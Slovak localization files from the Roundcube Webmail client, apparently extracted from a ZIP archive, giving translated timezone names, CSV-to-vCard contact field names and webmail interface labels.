$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Európa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrachán';
$labels['tz:europe:athens'] = 'Atény';
$labels['tz:europe:belgrade'] = 'Belehrad';
$labels['tz:europe:berlin'] = 'Berlín';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brusel';
$labels['tz:europe:bucharest'] = 'Bukurešť';
$labels['tz:europe:budapest'] = 'Budapešť';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Kišiňov';
$labels['tz:europe:copenhagen'] = 'Kodaň';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltár';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Ostrov Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kyjev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisabon';
$labels['tz:europe:ljubljana'] = 'Ľubľana';
$labels['tz:europe:london'] = 'Londýn';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moskva';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paríž';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praha';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rím';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Štokholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Ulianovsk';
$labels['tz:europe:uzhgorod'] = 'Užhorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikán';
$labels['tz:europe:vienna'] = 'Viedeň';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Varšava';
$labels['tz:europe:zagreb'] = 'Záhreb';
$labels['tz:europe:zaporozhye'] = 'Záporožie';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'Indický oceán';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Čagoské ostrovy';
$labels['tz:indian:christmas'] = 'Vianočný ostrov';
$labels['tz:indian:cocos'] = 'Kokosový ostrov';
$labels['tz:indian:comoro'] = 'Komory';
$labels['tz:indian:kerguelen'] = 'Kergueleny';
$labels['tz:indian:mahe'] = 'Mahé';
$labels['tz:indian:maldives'] = 'Maldivy';
$labels['tz:indian:mauritius'] = 'Maurícius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Réunion';
$labels['tz:pacific'] = 'Tichomorie';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Veľkonočný ostrov';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fidži';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapágy';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Sajpan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�{%22(program/localization/sk_SK/csv2vcard.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | localization/<lang>/csv2vcard.inc                                     |
 |                                                                       |
 | Localization file of the Roundcube Webmail client                     |
 | Copyright (C) 2005-2013, The Roundcube Dev Team                       |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 +-----------------------------------------------------------------------+
 | Author: Marek Mečiar <mmmeciar@gmail.com>                             |
 +-----------------------------------------------------------------------+
*/
$map = array();
$map['anniversary'] = "Výročie";
$map['assistants_name'] = "Meno asistenta";
$map['assistants_phone'] = "Telefón asistenta";
$map['birthday'] = "Narodeniny";
$map['business_city'] = "Mesto (práca)";
$map['business_countryregion'] = "Krajina/oblasť (práca)";
$map['business_fax'] = "Fax do práce";
$map['business_phone'] = "Telefón do práce";
$map['business_phone_2'] = "Telefón do práce 2";
$map['business_postal_code'] = "PSČ (práca)";
$map['business_state'] = "Okres (práca)";
$map['business_street'] = "Ulica (práca)";
$map['car_phone'] = "Autotelefón";
$map['categories'] = "Kategórie";
$map['company'] = "Spoločnosť";
$map['department'] = "Oddelenie";
$map['email_address'] = "E-mailová adresa";
$map['first_name'] = "Krstné meno";
$map['gender'] = "Pohlavie";
$map['home_city'] = "Mesto (domov)";
$map['home_countryregion'] = "Krajina/oblasť (domov)";
$map['home_fax'] = "Fax domov";
$map['home_phone'] = "Telefón domov";
$map['home_phone_2'] = "Telefón domov 2";
$map['home_postal_code'] = "PSČ (domov)";
$map['home_state'] = "Okres (domov)";
$map['home_street'] = "Ulica (domov)";
$map['job_title'] = "Funkcia";
$map['last_name'] = "Priezvisko";
$map['managers_name'] = "Meno manažéra";
$map['middle_name'] = "Ďalšie meno";
$map['mobile_phone'] = "Mobilný telefón";
$map['notes'] = "Poznámky";
$map['other_city'] = "Iné mesto";
$map['other_countryregion'] = "Krajina/oblasť (iné)";
$map['other_fax'] = "Iný fax";
$map['other_phone'] = "Iný telefón";
$map['other_postal_code'] = "Iné PSČ";
$map['other_state'] = "Krajina/oblasť (iné)";
$map['other_street'] = "Iná ulica";
$map['pager'] = "Operátor";
$map['primary_phone'] = "Primárny telefón";
$map['spouse'] = "Manžel(ka)";
$map['suffix'] = "Prípona";
$map['title'] = "Titul";
$map['web_page'] = "Webová stránka";
$map['birth_day'] = "Deň narodenia";
$map['birth_month'] = "Mesiac narodenia";
$map['birth_year'] = "Rok narodenia";
$map['display_name'] = "Zobrazované meno";
$map['fax_number'] = "Fax";
$map['home_address'] = "Adresa domov";
$map['home_country'] = "Štát domov";
$map['home_zipcode'] = "PSČ domov";
$map['mobile_number'] = "Mobil";
$map['nickname'] = "Prezývka";
$map['organization'] = "Organizácia";
$map['pager_number'] = "Pager";
$map['primary_email'] = "E-mailová adresa";
$map['secondary_email'] = "Ďalšia e-mailová adresa";
$map['web_page_1'] = "Webová stránka 1";
$map['web_page_2'] = "Webová stránka 2";
$map['work_phone'] = "Telefón do zamestnania";
$map['work_address'] = "Pracovná adresa";
$map['work_country'] = "Štát zamestnania";
$map['work_zipcode'] = "PSČ zamestnania";
PK
h�\~I�<�<�%program/localization/sk_SK/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Vitajte v $product';
$labels['username'] = 'Meno používateľa';
$labels['password'] = 'Heslo';
$labels['server'] = 'Server';
$labels['login'] = 'Prihlásiť';
$labels['oauthlogin'] = 'Prihlásenie cez $provider';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Odhlásiť';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Nastavenia';
$labels['addressbook'] = 'Adresár kontaktov';
$labels['darkmode'] = 'Tmavý režim';
$labels['lightmode'] = 'Svetlý režim';
$labels['inbox'] = 'Doručená pošta';
$labels['drafts'] = 'Koncepty';
$labels['sent'] = 'Odoslané';
$labels['trash'] = 'Kôš';
$labels['junk'] = 'Nevyžiadaná pošta';
$labels['show_real_foldernames'] = 'Pri osobitných priečinkoch zobrazovať skutočné názvy';
$labels['subject'] = 'Predmet';
$labels['from'] = 'Od';
$labels['sender'] = 'Odosielateľ';
$labels['to'] = 'Komu';
$labels['cc'] = 'Kópia';
$labels['bcc'] = 'Skrytá kópia';
$labels['replyto'] = 'Odpovedať na';
$labels['followupto'] = 'Preposlať na';
$labels['date'] = 'Dátum';
$labels['size'] = 'Veľkosť';
$labels['priority'] = 'Priorita';
$labels['organization'] = 'Organizácia';
$labels['readstatus'] = 'Prečítať stav';
$labels['listoptions'] = 'Nastavenia zoznamu...';
$labels['listoptionstitle'] = 'Nastavenia zoznamu';
$labels['mailboxlist'] = 'Priečinky';
$labels['messagesfromto'] = 'Správy: $from – $to, z $count';
$labels['threadsfromto'] = 'Konverzácie: $from – $to, z $count';
$labels['messagenrof'] = 'Správa č. $nr z $count';
$labels['fromtoshort'] = '$from – $to z $count';
$labels['copy'] = 'Kopírovať';
$labels['move'] = 'Presunúť';
$labels['moveto'] = 'Presunúť do...';
$labels['copyto'] = 'Kopírovať do...';
$labels['download'] = 'Stiahnuť';
$labels['open'] = 'Otvoriť';
$labels['showattachment'] = 'Zobraziť';
$labels['showanyway'] = 'Zobraziť aj napriek tomu';
$labels['filename'] = 'Názov súboru';
$labels['filesize'] = 'Veľkosť súboru';
$labels['addtoaddressbook'] = 'Pridať do adresára';
$labels['sun'] = 'Ne';
$labels['mon'] = 'Po';
$labels['tue'] = 'Ut';
$labels['wed'] = 'St';
$labels['thu'] = 'Št';
$labels['fri'] = 'Pi';
$labels['sat'] = 'So';
$labels['sunday'] = 'Nedeľa';
$labels['monday'] = 'Pondelok';
$labels['tuesday'] = 'Utorok';
$labels['wednesday'] = 'Streda';
$labels['thursday'] = 'Štvrtok';
$labels['friday'] = 'Piatok';
$labels['saturday'] = 'Sobota';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Máj';
$labels['jun'] = 'Jún';
$labels['jul'] = 'Júl';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Január';
$labels['longfeb'] = 'Február';
$labels['longmar'] = 'Marec';
$labels['longapr'] = 'Apríl';
$labels['longmay'] = 'Máj';
$labels['longjun'] = 'Jún';
$labels['longjul'] = 'Júl';
$labels['longaug'] = 'August';
$labels['longsep'] = 'September';
$labels['longoct'] = 'Október';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';
$labels['today'] = 'Dnes';
$labels['refresh'] = 'Obnoviť';
$labels['checkmail'] = 'Skontrolovať nové správy';
$labels['compose'] = 'Vytvoriť správu';
$labels['writenewmessage'] = 'Vytvoriť novú správu';
$labels['reply'] = 'Odpovedať';
$labels['replytomessage'] = 'Odpovedať na správu';
$labels['replytoallmessage'] = 'Odpovedať do zoznamu alebo odosielateľovi a všetkým príjemcom';
$labels['replyall'] = 'Odpovedať všetkým';
$labels['replylist'] = 'Zoznam pre odpovedanie';
$labels['forward'] = 'Poslať ďalej';
$labels['forwardinline'] = 'Poslať ďalej v správe';
$labels['forwardattachment'] = 'Poslať ďalej ako prílohu';
$labels['forwardmessage'] = 'Poslať správu ďalej';
$labels['bouncemsg'] = 'Opätovne odoslať (odrazenie)';
$labels['bounce'] = 'Opätovne odoslať';
$labels['deletemessage'] = 'Vymazať správu';
$labels['movemessagetotrash'] = 'Presunúť správu do koša';
$labels['printmessage'] = 'Vytlačiť túto správu';
$labels['previousmessage'] = 'Zobraziť predchádzajúcu správu';
$labels['firstmessage'] = 'Zobraziť prvú správu';
$labels['nextmessage'] = 'Zobraziť ďalšiu správu';
$labels['lastmessage'] = 'Zobraziť poslednú správu';
$labels['backtolist'] = 'Naspäť na zoznam správ';
$labels['viewsource'] = 'Zobraziť zdrojový text';
$labels['mark'] = 'Označiť';
$labels['markmessages'] = 'Označiť správy';
$labels['markread'] = 'Ako prečítané';
$labels['markunread'] = 'Ako neprečítané';
$labels['markflagged'] = 'Ako označené značkou';
$labels['markunflagged'] = 'Ako neoznačené značkou';
$labels['markundeleted'] = 'Ako nevymazané';
$labels['moreactions'] = 'Viac akcií...';
$labels['markallread'] = 'Označiť všetko ako prečítané';
$labels['folders-cur'] = 'Vybraný len priečinok';
$labels['folders-sub'] = 'Vybraný priečinok a jeho podpriečinky';
$labels['folders-all'] = 'Všetky priečinky';
$labels['more'] = 'Viac';
$labels['back'] = 'Dozadu';
$labels['options'] = 'Možnosti';
$labels['composeoptions'] = 'Možnosti zostavovania';
$labels['optionsandattachments'] = 'Možnosti a prílohy';
$labels['actions'] = 'Akcie';
$labels['first'] = 'Prvá/prvý';
$labels['last'] = 'Posledná/-ý';
$labels['previous'] = 'Predchádzajúca/-i';
$labels['next'] = 'Ďalšia/-í';
$labels['select'] = 'Výber';
$labels['selection'] = 'Výber';
$labels['all'] = 'Všetko';
$labels['none'] = 'Nič';
$labels['currpage'] = 'Aktuálna stránka';
$labels['isread'] = 'Prečítané';
$labels['unread'] = 'Neprečítané';
$labels['flagged'] = 'Označené značkou';
$labels['unflagged'] = 'Neoznačené značkou';
$labels['unanswered'] = 'Bez odpovede';
$labels['withattachment'] = 'S prílohou';
$labels['deleted'] = 'Vymazané';
$labels['undeleted'] = 'Nevymazané';
$labels['replied'] = 'Odpovedané';
$labels['forwarded'] = 'Preposlané';
$labels['invert'] = 'Obrátiť';
$labels['filter'] = 'Filter';
$labels['list'] = 'Zoznam';
$labels['threads'] = 'Konverzácie';
$labels['expand-all'] = 'Rozbaliť všetko';
$labels['expand-unread'] = 'Rozbaliť neprečítané';
$labels['collapse-all'] = 'Zbaliť všetko';
$labels['threaded'] = 'Spojené do konverzácií';
$labels['showunread'] = 'Zobraziť neprečítané správy';
$labels['autoexpand_threads'] = 'Rozbaliť konverzácie';
$labels['do_expand'] = 'všetky';
$labels['expand_only_unread'] = 'len s neprečítanými správami';
$labels['fromto'] = 'Od/Komu';
$labels['flag'] = 'Značka';
$labels['attachment'] = 'Príloha';
$labels['nonesort'] = 'Žiadne';
$labels['sentdate'] = 'Dátum odoslania';
$labels['arrival'] = 'Dátum prijatia';
$labels['asc'] = 'vzostupne';
$labels['desc'] = 'zostupne';
$labels['listcolumns'] = 'Stĺpce';
$labels['listsorting'] = 'Zoraďovanie';
$labels['listorder'] = 'Systém zoraďovania';
$labels['listmode'] = 'Režim zobrazenia zoznamu';
$labels['lmode'] = 'Režim zoznamu';
$labels['layout'] = 'Rozloženie';
$labels['layoutwidescreen'] = 'Na šírku obrazovky';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Zoznam';
$labels['layoutwidescreendesc'] = 'Na šírku obrazovky (zobrazenie 3 stĺpcov)';
$labels['layoutdesktopdesc'] = 'Plocha (široký zoznam a dole náhľad na správu)';
$labels['layoutlistdesc'] = 'Zoznam (žiadny náhľad na správu)';
$labels['folderactions'] = 'Akcie pre priečinky...';
$labels['compact'] = 'Zhustiť';
$labels['empty'] = 'Vyprázdniť';
$labels['importmessages'] = 'Importovať správy';
$labels['mailimportdesc'] = 'E-mail môžete nahrať s použitím súborov vo formáte <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> alebo <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Viaceré súbory je možné skomprimovať do archívov ZIP.';
$labels['quota'] = 'Úložné miesto';
$labels['unknown'] = 'neznáme';
$labels['unlimited'] = 'neobmedzené';
$labels['quotatype'] = 'Typ kvóty';
$labels['quotatotal'] = 'Limit';
$labels['quotaused'] = 'Použité';
$labels['quotastorage'] = 'Priestor na disku';
$labels['quotamessage'] = 'Počet správ';
$labels['shortheaderdate'] = 'Dňa: $date';
$labels['shortheaderto'] = 'Komu: $to dňa $date';
$labels['shortheaderfrom'] = 'Od: $from dňa $date';
$labels['quicksearch'] = 'Rýchle vyhľadávanie';
$labels['searchplaceholder'] = 'Vyhľadať...';
$labels['resetsearch'] = 'Reset vyhľadávania';
$labels['searchmod'] = 'Zmeniť kritériá vyhľadávania';
$labels['msgtext'] = 'Celá správa';
$labels['body'] = 'Telo (obsah)';
$labels['type'] = 'Typ';
$labels['namex'] = 'Meno';
$labels['searchscope'] = 'Rozsah';
$labels['currentfolder'] = 'Aktuálny priečinok';
$labels['subfolders'] = 'Tento a podpriečinky';
$labels['allfolders'] = 'Všetky priečinky';
$labels['searchinterval-1W'] = 'staršie ako týždeň';
$labels['searchinterval-1M'] = 'staršie ako mesiac';
$labels['searchinterval-1Y'] = 'staršie ako rok';
$labels['searchinterval1W'] = 'nie staršie ako týždeň';
$labels['searchinterval1M'] = 'nie staršie ako mesiac';
$labels['searchinterval1Y'] = 'nie staršie ako rok';
$labels['openinextwin'] = 'Otvoriť v novom okne';
$labels['emlsave'] = 'Stiahnuť (.eml)';
$labels['changeformattext'] = 'Zobraziť vo formáte čistého textu';
$labels['changeformathtml'] = 'Zobraziť vo formáte HTML';
$labels['editasnew'] = 'Upraviť ako novú správu';
$labels['send'] = 'Odoslať';
$labels['sendmessage'] = 'Odoslať správu';
$labels['savemessage'] = 'Uložiť správu ako koncept';
$labels['addattachment'] = 'Priložiť súbor';
$labels['charset'] = 'Znaková sada';
$labels['editortype'] = 'Typ editora';
$labels['returnreceipt'] = 'Potvrdenie o doručení';
$labels['dsn'] = 'Oznámenie o stave doručenia';
$labels['keepformatting'] = 'Zachovať formátovanie';
$labels['mailreplyintro'] = 'Dňa $date $sender napísal(a):';
$labels['originalmessage'] = 'Pôvodná správa';
$labels['selectimage'] = 'Vybrať obrázok';
$labels['addimage'] = 'Pridať obrázok';
$labels['selectmedia'] = 'Vybrať film';
$labels['addmedia'] = 'Pridať film';
$labels['encrypt'] = 'Zašifrovať';
$labels['encryptmessage'] = 'Zašifrovať správu';
$labels['encryptmessagemailvelope'] = 'Zašifrovať správu pomocou Mailvelope';
$labels['importpubkeys'] = 'Importovať verejné kľúče';
$labels['encryptedsendialog'] = 'Odosielanie zašifrovanej správy';
$labels['encryptandsign'] = 'Zašifrovať a podpísať';
$labels['keyid'] = 'ID kľúča';
$labels['keylength'] = 'Bity';
$labels['keyexpired'] = 'Expirované';
$labels['keyrevoked'] = 'Odvolané';
$labels['bccinstead'] = 'Použiť skrytú kópiu';
$labels['addheader'] = 'Pridať príjemcu (hlavička)';
$labels['insert'] = 'Vložiť';
$labels['insertcontact'] = 'Vložiť kontakt(y)';
$labels['recipient'] = 'Príjemca';
$labels['recipientedit'] = 'Úprava príjemcu';
$labels['editidents'] = 'Upraviť identitu odosielateľa';
$labels['spellcheck'] = 'Pravopis';
$labels['checkspelling'] = 'Skontrolovať pravopis';
$labels['resumeediting'] = 'Pokračovať v úpravách';
$labels['revertto'] = 'Vrátiť sa na';
$labels['restore'] = 'Obnoviť';
$labels['restoremessage'] = 'Obnoviť správu?';
$labels['ignore'] = 'Ignorovať';
$labels['responses'] = 'Odpovede';
$labels['insertresponse'] = 'Vložiť odpoveď';
$labels['manageresponses'] = 'Spravovať odpovede';
$labels['newresponse'] = 'Vytvoriť novú odpoveď';
$labels['addresponse'] = 'Pridať odpoveď';
$labels['editresponse'] = 'Upraviť odpoveď';
$labels['editresponses'] = 'Upraviť odpovede';
$labels['responsename'] = 'Meno';
$labels['responsetext'] = 'Text odpovede';
$labels['attach'] = 'Priložiť';
$labels['attachments'] = 'Prílohy';
$labels['upload'] = 'Nahrať';
$labels['uploadprogress'] = '$percent ($current z $total)';
$labels['close'] = 'Zatvoriť';
$labels['messageoptions'] = 'Nastavenia správy...';
$labels['togglecomposeoptions'] = 'Prepnúť možnosti kompozície';
$labels['attachmentrename'] = 'Premenovať prílohu';
$labels['low'] = 'Nízka';
$labels['lowest'] = 'Najnižšia';
$labels['normal'] = 'Normálna';
$labels['high'] = 'Vysoká';
$labels['highest'] = 'Najvyššia';
$labels['nosubject'] = '(bez predmetu)';
$labels['showimages'] = 'Zobraziť obrázky';
$labels['allow'] = 'Povoliť';
$labels['alwaysshow'] = 'Vždy zobraziť obrázky od odosielateľa $sender';
$labels['alwaysallow'] = 'Vždy povoliť od $sender';
$labels['isdraft'] = 'Toto je koncept';
$labels['andnmore'] = 'Počet ďalších: $nr...';
$labels['details'] = 'Podrobnosti';
$labels['summary'] = 'Zhrnutie';
$labels['headers'] = 'Hlavičky';
$labels['allheaders'] = 'Všetky hlavičky...';
$labels['togglemoreheaders'] = 'Zobraziť viac hlavičiek správ';
$labels['togglefullheaders'] = 'Prepnúť zobrazenie úplných hlavičiek správ';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Čistý text';
$labels['savesentmessagein'] = 'Uložiť odoslanú správu do';
$labels['dontsave'] = 'neukladať';
$labels['maxuploadsize'] = 'Maximálna povolená veľkosť súboru je $size';
$labels['addcc'] = 'Pridať kópiu';
$labels['addbcc'] = 'Pridať skrytú kopiu';
$labels['addreplyto'] = 'Pridať pole Odpovedať na';
$labels['addfollowupto'] = 'Pridať pole Preposlať na';
$labels['sendreceipt'] = 'Odoslať potvrdenie o prečítaní?';
$labels['mdnrequest'] = 'Odosielateľ tejto správy chce byť informovaný o tom, že ste túto správu čítali. Chcete mu potvrdiť prijatie správy?';
$labels['receiptread'] = 'Potvrdenie o doručení (a prečítaní) správy';
$labels['yourmessage'] = 'Toto je potvrdenie o doručení vašej správy';
$labels['receiptnote'] = 'Poznámka: Toto potvrdenie znamená len to, že správa sa zobrazila na počítači príjemcu. Nie je však zaručené, že príjemca správu čítal a porozumel jej obsahu.';
$labels['sendalwaysto'] = 'Vždy odoslať na $email';
$labels['zoomin'] = 'Priblížiť';
$labels['zoomout'] = 'Oddialiť';
$labels['rotate'] = 'Otočiť';
$labels['increaseimage'] = 'Zväčšiť veľkosť obrázka';
$labels['decreaseimage'] = 'Zmenšiť veľkosť obrázka';
$labels['rotateimage'] = 'Otočiť obrázok';
$labels['showtools'] = 'Zobraziť nástroje pre obrázok';
$labels['hidetools'] = 'Skryť nástroje pre obrázok';
$labels['name'] = 'Zobrazované meno';
$labels['firstname'] = 'Meno';
$labels['surname'] = 'Priezvisko';
$labels['middlename'] = 'Stredná časť mena';
$labels['nameprefix'] = 'Titul';
$labels['namesuffix'] = 'Dodatok za menom';
$labels['nickname'] = 'Prezývka';
$labels['jobtitle'] = 'Označenie povolania';
$labels['department'] = 'Oddelenie/firma/zastúpenie';
$labels['gender'] = 'Pohlavie';
$labels['maidenname'] = 'Rodné priezvisko';
$labels['email'] = 'E-mail';
$labels['phone'] = 'Telefón';
$labels['address'] = 'Adresa';
$labels['street'] = 'Ulica';
$labels['locality'] = 'Mesto';
$labels['zipcode'] = 'PSČ';
$labels['region'] = 'Región';
$labels['country'] = 'Krajina';
$labels['birthday'] = 'Narodeniny';
$labels['anniversary'] = 'Výročie';
$labels['website'] = 'Internetová stránka';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Poznámky';
$labels['male'] = 'muž';
$labels['female'] = 'žena';
$labels['manager'] = 'Manažér';
$labels['assistant'] = 'Asistent';
$labels['spouse'] = 'Partner/ka';
$labels['allfields'] = 'Všetky polia';
$labels['search'] = 'Hľadať';
$labels['searchresult'] = 'Výsledok vyhľadávania';
$labels['advsearch'] = 'Rozšírené vyhľadávanie';
$labels['advanced'] = 'Rozšírené';
$labels['other'] = 'Ostatné';
$labels['printcontact'] = 'Vytlačiť kontakt';
$labels['qrcode'] = 'QR kód';
$labels['typehome'] = 'Domov';
$labels['typework'] = 'Práca';
$labels['typeother'] = 'Iné';
$labels['typemobile'] = 'Mobilný telefón';
$labels['typemain'] = 'Hlavné číslo';
$labels['typehomefax'] = 'Fax - domov';
$labels['typeworkfax'] = 'Fax - práca';
$labels['typecar'] = 'Auto';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistent';
$labels['typehomepage'] = 'Domovská stránka';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Pridať pole...';
$labels['addcontact'] = 'Pridať kontakt';
$labels['editcontact'] = 'Upraviť kontakt';
$labels['contacts'] = 'Kontakty';
$labels['contactproperties'] = 'Vlastnosti kontaktu';
$labels['contactnameandorg'] = 'Názov a organizácia';
$labels['personalinfo'] = 'Osobné informácie';
$labels['personal'] = 'Osobné';
$labels['contactphoto'] = 'Fotografia kontaktu';
$labels['edit'] = 'Upraviť';
$labels['cancel'] = 'Zrušiť';
$labels['save'] = 'Uložiť';
$labels['delete'] = 'Vymazať';
$labels['discard'] = 'Vyhodiť';
$labels['continue'] = 'Pokračovať';
$labels['ok'] = 'OK';
$labels['rename'] = 'Premenovať';
$labels['addphoto'] = 'Pridať fotografiu';
$labels['replacephoto'] = 'Nahradiť fotografiu';
$labels['uploadphoto'] = 'Nahrať fotografiu';
$labels['choosefile'] = 'Vybrať súbor...';
$labels['choosefiles'] = 'Vybrať súbory...';
$labels['browse'] = 'Prehľadávať';
$labels['newcontact'] = 'Vytvoriť nový kontakt';
$labels['deletecontact'] = 'Vymazať vybrané kontakty';
$labels['composeto'] = 'Vytvoriť správu pre';
$labels['contactsfromto'] = 'Kontakty: $from – $to, z $count';
$labels['print'] = 'Tlač';
$labels['export'] = 'Exportovať';
$labels['exportall'] = 'Exportovať všetko';
$labels['exportsel'] = 'Exportovať vybrané';
$labels['exportvcards'] = 'Exportovať kontakty vo formáte vCard';
$labels['newgroup'] = 'Vytvoriť novú skupinu';
$labels['addgroup'] = 'Pridať skupinu';
$labels['grouprename'] = 'Premenovať skupinu';
$labels['groupdelete'] = 'Vymazať skupinu';
$labels['groupassign'] = 'Prideliť k skupine...';
$labels['groupremove'] = 'Odstrániť zo skupiny';
$labels['groupremoveselected'] = 'Odstrániť vybrané kontakty zo skupiny';
$labels['uponelevel'] = 'O jednu úroveň nahor';
$labels['previouspage'] = 'Zobraziť predchádzajúcu stranu';
$labels['firstpage'] = 'Zobraziť prvú stranu';
$labels['nextpage'] = 'Zobraziť nasledujúcu stranu';
$labels['lastpage'] = 'Zobraziť poslednú stranu';
$labels['group'] = 'Skupina';
$labels['groups'] = 'Skupiny';
$labels['listgroup'] = 'Zoznam členov skupiny';
$labels['personaladrbook'] = 'Osobné adresy';
$labels['searchsave'] = 'Uložiť výsledky vyhľadávania';
$labels['searchdelete'] = 'Vymazať výsledky vyhľadávania';
$labels['import'] = 'Import';
$labels['importcontacts'] = 'Importovať kontakty';
$labels['importfromfile'] = 'Importovať zo súboru';
$labels['importtarget'] = 'Pridať kontakty do';
$labels['importreplace'] = 'Nahradiť celý adresár kontaktov';
$labels['importgroups'] = 'Importovať priradenia do skupín';
$labels['importgroupsall'] = 'Všetky (vytvoriť skupiny ak je to potrebné)';
$labels['importgroupsexisting'] = 'Len pre existujúce skupiny';
